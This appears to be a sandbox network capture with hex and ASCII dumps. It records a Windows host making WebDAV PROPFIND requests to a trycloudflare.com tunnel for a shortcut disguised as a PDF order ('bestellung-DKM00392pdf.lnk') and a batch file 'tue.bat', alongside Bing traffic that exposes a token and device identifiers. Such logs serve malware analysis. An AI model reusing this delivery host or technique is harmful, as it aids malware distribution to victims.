2024-10-25 08:16:39 UTC	11197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.17	58428	2.23.209.166	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:16:40 UTC	2593	OUT	GET /client/config?cc=CH&setlang=en-CH HTTP/1.1 X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-UserAgeClass: Unknown X-BM-Market: CH X-BM-DateFormat: dd/MM/yyyy X-Device-OSSKU: 48 X-BM-DTZ: -240 X-DeviceID: 01000A41090080B6 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Search-TimeZone: Bias=300; DaylightBias=-60; TimeZoneKeyName=Eastern Standard Time X-BM-Theme: 000000;0078d7 X-Search-RPSToken: t%3DEwDoAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAeTJB6GQoR3vFznZlEH0f2JYwWvPqjVxhhPZcNRxCuEa8rg2vF0%2B48tez2f%2B2ZaBCq2LMDmMhd2RqYDnZgQ%2BxO%2BCYYqrgaG4c9ODFtmn1shIOTEeSj6lTMoJ22RdI83MoMGqn7ZzTa5ywHlxMlUgzz2PTgBOTPK6FN1x%2Bv5aY%2BAqQlWGJQyhrvJR1ynwLYow4udbf%2Bt5XF7wdXy%2BdmAWA8AHlzXs8HZ6ZKCjmDTtNIwUvZVO1990xqukNh4hthSqVqWhtehTkACCLiRDzJvnWn/3MYPSxap3omIguycIVu3jnipHXN05qZW%2BP8aYQay9ddn2SzW6lkRXfea0OevD%2BHcQZgAAEGWEtZJPhf/IgR%2B72EZr4tiwAZOG/sn2HWBKXFYU4/oKI1Sqw9fYWGfbjkeosWd9hw%2BDC4hR/mGSyt%2B03As/9aXmz5YH6XTV0pNi30ZLy4ZFX/iIB4svD2kMWUxhDTTejlgjgnzHJacikhh42nA46f1fNg4CxR/FwhDYblDTPgAkStTho8biFQamjQOOvBRjEc1W0Gnh26rtIw2CwB3ErC0PwcshYCjpXxo/zwTAeJOFdpcjXUDVHe27g%2B71OkuzyGEG7NkTQhTSKy3zei5TSOQVZzbvAc2eXPbOBNFnqD0CeVP4Te2GEQrYq%2BUeWd/vW2xGbe90GiSV9N975/wF/o%2BhdMieHOegaLIw5mxhMVZJw6mXgAgytNOb39FhQu5ll6ZmFkne95amvgOTcr5AXKPLCIezgzqRipCHoD74VNfoyB4JPq/38Uhwgh2c4tMoXrF%2B8bijhGem%2BLq7QK9PSOkeTybpWOwYm2WKmqdjLUaNHD5LY3oCjVTsJT23SQ/SIeb8aJc6s9ZOUtL2uclqBs/dMYMA0Zlkz2xp1Qfcw01Hi1qGtrHubkawh59S1lXd3 [TRUNCATED] X-Agent-DeviceId: 01000A41090080B6 X-BM-CBT: 1729844189 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 X-Device-isOptin: false Accept-language: en-GB, en, en-US X-Device-Touch: false X-Device-ClientSession: 22FB18B5D25C449CA38B28C3BD9A9077 X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI Host: www.bing.com Connection: Keep-Alive Cookie: SRCHUID=V=2&GUID=C4EAB6C130004333A34B5668AE4E4D10&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=en; MUID=4590362BB5CF472B95BBEDB3112D4B7B; MUIDB=4590362BB5CF472B95BBEDB3112D4B7B
2024-10-25 08:16:40 UTC	1147	IN	HTTP/1.1 200 OK Content-Length: 2215 Content-Type: application/json; charset=utf-8 Cache-Control: private X-EventID: 671b53e831b54614b31aaaf2559dc23a X-AS-SetSessionMarket: de-ch UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-XSS-Protection: 0 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Fri, 25 Oct 2024 08:16:40 GMT Connection: close Set-Cookie: _EDGE_S=SID=09A5D4C4105F6CCB19F1C1E711BC6DA6&mkt=de-ch; domain=.bing.com; path=/; HttpOnly Set-Cookie: ANON=A=84BEA1DAAAB85FA790252CDAFFFFFFFF; domain=.bing.com; expires=Wed, 19-Nov-2025 08:16:40 GMT; path=/; secure; SameSite=None Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/; secure; SameSite=None Set-Cookie: _SS=SID=09A5D4C4105F6CCB19F1C1E711BC6DA6; domain=.bing.com; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.2bd01702.1729844200.8e3a1dd
2024-10-25 08:16:40 UTC	2215	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 31 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 46 65 61 74 75 72 65 43 6f 6e 66 69 67 22 3a 7b 22 53 65 61 72 63 68 42 6f 78 49 62 65 61 6d 50 6f 69 6e 74 65 72 4f 6e 48 6f 76 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 68 6f 77 53 65 61 72 63 68 47 6c 79 70 68 4c 65 66 74 4f 66 53 65 61 72 63 68 42 6f 78 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 6f 78 55 73 65 53 65 61 72 63 68 49 63 6f 6e 41 74 52 65 73 74 22 3a 7b 22 76 61 6c 75 65 22 3a 66 61 6c 73 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 75 74 74 6f 6e 55 73 65 53 65 61 72 63 68 49 63 6f 6e 22 3a 7b 22 76 61 6c 75 65 Data Ascii: {"version":1,"config":{"FeatureConfig":{"SearchBoxIbeamPointerOnHover":{"value":true,"feature":""},"ShowSearchGlyphLeftOfSearchBox":{"value":true,"feature":""},"SearchBoxUseSearchIconAtRest":{"value":false,"feature":""},"SearchButtonUseSearchIcon":{"value

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.17	58430	104.16.230.132	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:16:49 UTC	230	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 44 45 2f 62 65 73 74 65 6c 6c 75 6e 67 2d 44 4b 4d 30 30 33 39 32 70 64 66 2e 6c 6e 6b 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 31 30 2e 30 2e 31 39 30 34 35 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 74 68 65 6d 65 2d 63 72 61 63 6b 2d 65 6d 69 73 73 69 6f 6e 73 2d 70 65 72 73 70 65 63 74 69 76 65 73 2e 74 72 79 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0d 0a 0d 0a Data Ascii: PROPFIND /DE/bestellung-DKM00392pdf.lnk HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045Depth: 0translate: fContent-Length: 0Host: theme-crack-emissions-perspectives.trycloudflare.com
2024-10-25 08:16:49 UTC	228	IN	HTTP/1.1 207 Multi-Status Date: Fri, 25 Oct 2024 08:16:49 GMT Content-Type: application/xml; charset=utf-8 Content-Length: 879 Connection: close CF-Ray: 8d80c4467eb86b0b-DFW CF-Cache-Status: DYNAMIC Server: cloudflare
2024-10-25 08:16:49 UTC	879	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 27 31 2e 30 27 20 65 6e 63 6f 64 69 6e 67 3d 27 55 54 46 2d 38 27 3f 3e 0a 3c 44 3a 6d 75 6c 74 69 73 74 61 74 75 73 20 78 6d 6c 6e 73 3a 44 3d 22 44 41 56 3a 22 3e 3c 44 3a 72 65 73 70 6f 6e 73 65 3e 3c 44 3a 68 72 65 66 3e 2f 44 45 2f 62 65 73 74 65 6c 6c 75 6e 67 2d 44 4b 4d 30 30 33 39 32 70 64 66 2e 6c 6e 6b 3c 2f 44 3a 68 72 65 66 3e 3c 44 3a 70 72 6f 70 73 74 61 74 3e 3c 44 3a 70 72 6f 70 3e 3c 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 2f 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 44 3a 63 72 65 61 74 69 6f 6e 64 61 74 65 3e 32 30 32 34 2d 31 30 2d 32 35 54 30 38 3a 30 36 3a 35 38 5a 3c 2f 44 3a 63 72 65 61 74 69 6f 6e 64 61 74 65 3e 3c 44 3a 67 65 74 63 6f 6e 74 65 6e 74 6c 65 6e 67 74 68 3e 32 Data Ascii: <?xml version='1.0' encoding='UTF-8'?><D:multistatus xmlns:D="DAV:"><D:response><D:href>/DE/bestellung-DKM00392pdf.lnk</D:href><D:propstat><D:prop><D:resourcetype></D:resourcetype><D:creationdate>2024-10-25T08:06:58Z</D:creationdate><D:getcontentlength>2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.17	58432	104.16.230.132	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:16:50 UTC	230	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 44 45 2f 62 65 73 74 65 6c 6c 75 6e 67 2d 44 4b 4d 30 30 33 39 32 70 64 66 2e 6c 6e 6b 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 31 30 2e 30 2e 31 39 30 34 35 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 74 68 65 6d 65 2d 63 72 61 63 6b 2d 65 6d 69 73 73 69 6f 6e 73 2d 70 65 72 73 70 65 63 74 69 76 65 73 2e 74 72 79 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0d 0a 0d 0a Data Ascii: PROPFIND /DE/bestellung-DKM00392pdf.lnk HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045Depth: 0translate: fContent-Length: 0Host: theme-crack-emissions-perspectives.trycloudflare.com
2024-10-25 08:16:50 UTC	228	IN	HTTP/1.1 207 Multi-Status Date: Fri, 25 Oct 2024 08:16:50 GMT Content-Type: application/xml; charset=utf-8 Content-Length: 879 Connection: close CF-Ray: 8d80c44c280245fb-DFW CF-Cache-Status: DYNAMIC Server: cloudflare
2024-10-25 08:16:50 UTC	879	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 27 31 2e 30 27 20 65 6e 63 6f 64 69 6e 67 3d 27 55 54 46 2d 38 27 3f 3e 0a 3c 44 3a 6d 75 6c 74 69 73 74 61 74 75 73 20 78 6d 6c 6e 73 3a 44 3d 22 44 41 56 3a 22 3e 3c 44 3a 72 65 73 70 6f 6e 73 65 3e 3c 44 3a 68 72 65 66 3e 2f 44 45 2f 62 65 73 74 65 6c 6c 75 6e 67 2d 44 4b 4d 30 30 33 39 32 70 64 66 2e 6c 6e 6b 3c 2f 44 3a 68 72 65 66 3e 3c 44 3a 70 72 6f 70 73 74 61 74 3e 3c 44 3a 70 72 6f 70 3e 3c 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 2f 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 44 3a 63 72 65 61 74 69 6f 6e 64 61 74 65 3e 32 30 32 34 2d 31 30 2d 32 35 54 30 38 3a 30 36 3a 35 38 5a 3c 2f 44 3a 63 72 65 61 74 69 6f 6e 64 61 74 65 3e 3c 44 3a 67 65 74 63 6f 6e 74 65 6e 74 6c 65 6e 67 74 68 3e 32 Data Ascii: <?xml version='1.0' encoding='UTF-8'?><D:multistatus xmlns:D="DAV:"><D:response><D:href>/DE/bestellung-DKM00392pdf.lnk</D:href><D:propstat><D:prop><D:resourcetype></D:resourcetype><D:creationdate>2024-10-25T08:06:58Z</D:creationdate><D:getcontentlength>2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.17	58433	104.16.230.132	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:16:51 UTC	201	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 31 30 2e 30 2e 31 39 30 34 35 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 74 68 65 6d 65 2d 63 72 61 63 6b 2d 65 6d 69 73 73 69 6f 6e 73 2d 70 65 72 73 70 65 63 74 69 76 65 73 2e 74 72 79 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0d 0a 0d 0a Data Ascii: PROPFIND / HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045Depth: 0translate: fContent-Length: 0Host: theme-crack-emissions-perspectives.trycloudflare.com
2024-10-25 08:16:51 UTC	228	IN	HTTP/1.1 207 Multi-Status Date: Fri, 25 Oct 2024 08:16:51 GMT Content-Type: application/xml; charset=utf-8 Content-Length: 781 Connection: close CF-Ray: 8d80c4520b38e983-DFW CF-Cache-Status: DYNAMIC Server: cloudflare
2024-10-25 08:16:51 UTC	781	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 27 31 2e 30 27 20 65 6e 63 6f 64 69 6e 67 3d 27 55 54 46 2d 38 27 3f 3e 0a 3c 44 3a 6d 75 6c 74 69 73 74 61 74 75 73 20 78 6d 6c 6e 73 3a 44 3d 22 44 41 56 3a 22 3e 3c 44 3a 72 65 73 70 6f 6e 73 65 3e 3c 44 3a 68 72 65 66 3e 2f 3c 2f 44 3a 68 72 65 66 3e 3c 44 3a 70 72 6f 70 73 74 61 74 3e 3c 44 3a 70 72 6f 70 3e 3c 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 44 3a 63 6f 6c 6c 65 63 74 69 6f 6e 2f 3e 3c 2f 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 44 3a 63 72 65 61 74 69 6f 6e 64 61 74 65 3e 32 30 32 33 2d 31 30 2d 32 35 54 31 34 3a 33 33 3a 35 35 5a 3c 2f 44 3a 63 72 65 61 74 69 6f 6e 64 61 74 65 3e 3c 44 3a 71 75 6f 74 61 2d 75 73 65 64 2d 62 79 74 65 73 3e 37 35 37 38 36 34 32 38 34 31 36 3c 2f 44 3a Data Ascii: <?xml version='1.0' encoding='UTF-8'?><D:multistatus xmlns:D="DAV:"><D:response><D:href>/</D:href><D:propstat><D:prop><D:resourcetype><D:collection/></D:resourcetype><D:creationdate>2023-10-25T14:33:55Z</D:creationdate><D:quota-used-bytes>75786428416</D:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.17	58434	104.16.230.132	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:16:52 UTC	203	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 44 45 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 31 30 2e 30 2e 31 39 30 34 35 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 74 68 65 6d 65 2d 63 72 61 63 6b 2d 65 6d 69 73 73 69 6f 6e 73 2d 70 65 72 73 70 65 63 74 69 76 65 73 2e 74 72 79 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0d 0a 0d 0a Data Ascii: PROPFIND /DE HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045Depth: 0translate: fContent-Length: 0Host: theme-crack-emissions-perspectives.trycloudflare.com
2024-10-25 08:16:52 UTC	228	IN	HTTP/1.1 207 Multi-Status Date: Fri, 25 Oct 2024 08:16:52 GMT Content-Type: application/xml; charset=utf-8 Content-Length: 781 Connection: close CF-Ray: 8d80c457ca3328e5-DFW CF-Cache-Status: DYNAMIC Server: cloudflare
2024-10-25 08:16:52 UTC	781	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 27 31 2e 30 27 20 65 6e 63 6f 64 69 6e 67 3d 27 55 54 46 2d 38 27 3f 3e 0a 3c 44 3a 6d 75 6c 74 69 73 74 61 74 75 73 20 78 6d 6c 6e 73 3a 44 3d 22 44 41 56 3a 22 3e 3c 44 3a 72 65 73 70 6f 6e 73 65 3e 3c 44 3a 68 72 65 66 3e 2f 44 45 2f 3c 2f 44 3a 68 72 65 66 3e 3c 44 3a 70 72 6f 70 73 74 61 74 3e 3c 44 3a 70 72 6f 70 3e 3c 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 44 3a 63 6f 6c 6c 65 63 74 69 6f 6e 2f 3e 3c 2f 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 44 3a 63 72 65 61 74 69 6f 6e 64 61 74 65 3e 32 30 32 34 2d 31 30 2d 32 33 54 30 39 3a 33 36 3a 30 34 5a 3c 2f 44 3a 63 72 65 61 74 69 6f 6e 64 61 74 65 3e 3c 44 3a 71 75 6f 74 61 2d 75 73 65 64 2d 62 79 74 65 73 3e 37 35 37 38 36 34 32 38 34 31 36 3c Data Ascii: <?xml version='1.0' encoding='UTF-8'?><D:multistatus xmlns:D="DAV:"><D:response><D:href>/DE/</D:href><D:propstat><D:prop><D:resourcetype><D:collection/></D:resourcetype><D:creationdate>2024-10-23T09:36:04Z</D:creationdate><D:quota-used-bytes>75786428416<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.17	58435	104.16.230.132	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:17:11 UTC	208	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 74 75 65 2e 62 61 74 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 31 30 2e 30 2e 31 39 30 34 35 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 74 68 65 6d 65 2d 63 72 61 63 6b 2d 65 6d 69 73 73 69 6f 6e 73 2d 70 65 72 73 70 65 63 74 69 76 65 73 2e 74 72 79 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0d 0a 0d 0a Data Ascii: PROPFIND /tue.bat HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045Depth: 0translate: fContent-Length: 0Host: theme-crack-emissions-perspectives.trycloudflare.com
2024-10-25 08:17:12 UTC	228	IN	HTTP/1.1 207 Multi-Status Date: Fri, 25 Oct 2024 08:17:11 GMT Content-Type: application/xml; charset=utf-8 Content-Length: 826 Connection: close CF-Ray: 8d80c4ccee083acd-DFW CF-Cache-Status: DYNAMIC Server: cloudflare
2024-10-25 08:17:12 UTC	826	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 27 31 2e 30 27 20 65 6e 63 6f 64 69 6e 67 3d 27 55 54 46 2d 38 27 3f 3e 0a 3c 44 3a 6d 75 6c 74 69 73 74 61 74 75 73 20 78 6d 6c 6e 73 3a 44 3d 22 44 41 56 3a 22 3e 3c 44 3a 72 65 73 70 6f 6e 73 65 3e 3c 44 3a 68 72 65 66 3e 2f 74 75 65 2e 62 61 74 3c 2f 44 3a 68 72 65 66 3e 3c 44 3a 70 72 6f 70 73 74 61 74 3e 3c 44 3a 70 72 6f 70 3e 3c 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 2f 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 44 3a 63 72 65 61 74 69 6f 6e 64 61 74 65 3e 32 30 32 34 2d 31 30 2d 32 34 54 31 31 3a 30 32 3a 33 36 5a 3c 2f 44 3a 63 72 65 61 74 69 6f 6e 64 61 74 65 3e 3c 44 3a 67 65 74 63 6f 6e 74 65 6e 74 6c 65 6e 67 74 68 3e 32 36 34 31 39 3c 2f 44 3a 67 65 74 63 6f 6e 74 65 6e 74 6c 65 6e 67 Data Ascii: <?xml version='1.0' encoding='UTF-8'?><D:multistatus xmlns:D="DAV:"><D:response><D:href>/tue.bat</D:href><D:propstat><D:prop><D:resourcetype></D:resourcetype><D:creationdate>2024-10-24T11:02:36Z</D:creationdate><D:getcontentlength>26419</D:getcontentleng

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.17	58436	104.16.230.132	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:17:13 UTC	208	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 74 75 65 2e 62 61 74 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 31 30 2e 30 2e 31 39 30 34 35 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 74 68 65 6d 65 2d 63 72 61 63 6b 2d 65 6d 69 73 73 69 6f 6e 73 2d 70 65 72 73 70 65 63 74 69 76 65 73 2e 74 72 79 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0d 0a 0d 0a Data Ascii: PROPFIND /tue.bat HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045Depth: 0translate: fContent-Length: 0Host: theme-crack-emissions-perspectives.trycloudflare.com
2024-10-25 08:17:13 UTC	228	IN	HTTP/1.1 207 Multi-Status Date: Fri, 25 Oct 2024 08:17:13 GMT Content-Type: application/xml; charset=utf-8 Content-Length: 826 Connection: close CF-Ray: 8d80c4d9c8576be4-DFW CF-Cache-Status: DYNAMIC Server: cloudflare
2024-10-25 08:17:13 UTC	826	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 27 31 2e 30 27 20 65 6e 63 6f 64 69 6e 67 3d 27 55 54 46 2d 38 27 3f 3e 0a 3c 44 3a 6d 75 6c 74 69 73 74 61 74 75 73 20 78 6d 6c 6e 73 3a 44 3d 22 44 41 56 3a 22 3e 3c 44 3a 72 65 73 70 6f 6e 73 65 3e 3c 44 3a 68 72 65 66 3e 2f 74 75 65 2e 62 61 74 3c 2f 44 3a 68 72 65 66 3e 3c 44 3a 70 72 6f 70 73 74 61 74 3e 3c 44 3a 70 72 6f 70 3e 3c 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 2f 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 44 3a 63 72 65 61 74 69 6f 6e 64 61 74 65 3e 32 30 32 34 2d 31 30 2d 32 34 54 31 31 3a 30 32 3a 33 36 5a 3c 2f 44 3a 63 72 65 61 74 69 6f 6e 64 61 74 65 3e 3c 44 3a 67 65 74 63 6f 6e 74 65 6e 74 6c 65 6e 67 74 68 3e 32 36 34 31 39 3c 2f 44 3a 67 65 74 63 6f 6e 74 65 6e 74 6c 65 6e 67 Data Ascii: <?xml version='1.0' encoding='UTF-8'?><D:multistatus xmlns:D="DAV:"><D:response><D:href>/tue.bat</D:href><D:propstat><D:prop><D:resourcetype></D:resourcetype><D:creationdate>2024-10-24T11:02:36Z</D:creationdate><D:getcontentlength>26419</D:getcontentleng

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.17	58437	104.16.230.132	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:17:14 UTC	201	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 31 30 2e 30 2e 31 39 30 34 35 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 74 68 65 6d 65 2d 63 72 61 63 6b 2d 65 6d 69 73 73 69 6f 6e 73 2d 70 65 72 73 70 65 63 74 69 76 65 73 2e 74 72 79 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0d 0a 0d 0a Data Ascii: PROPFIND / HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045Depth: 0translate: fContent-Length: 0Host: 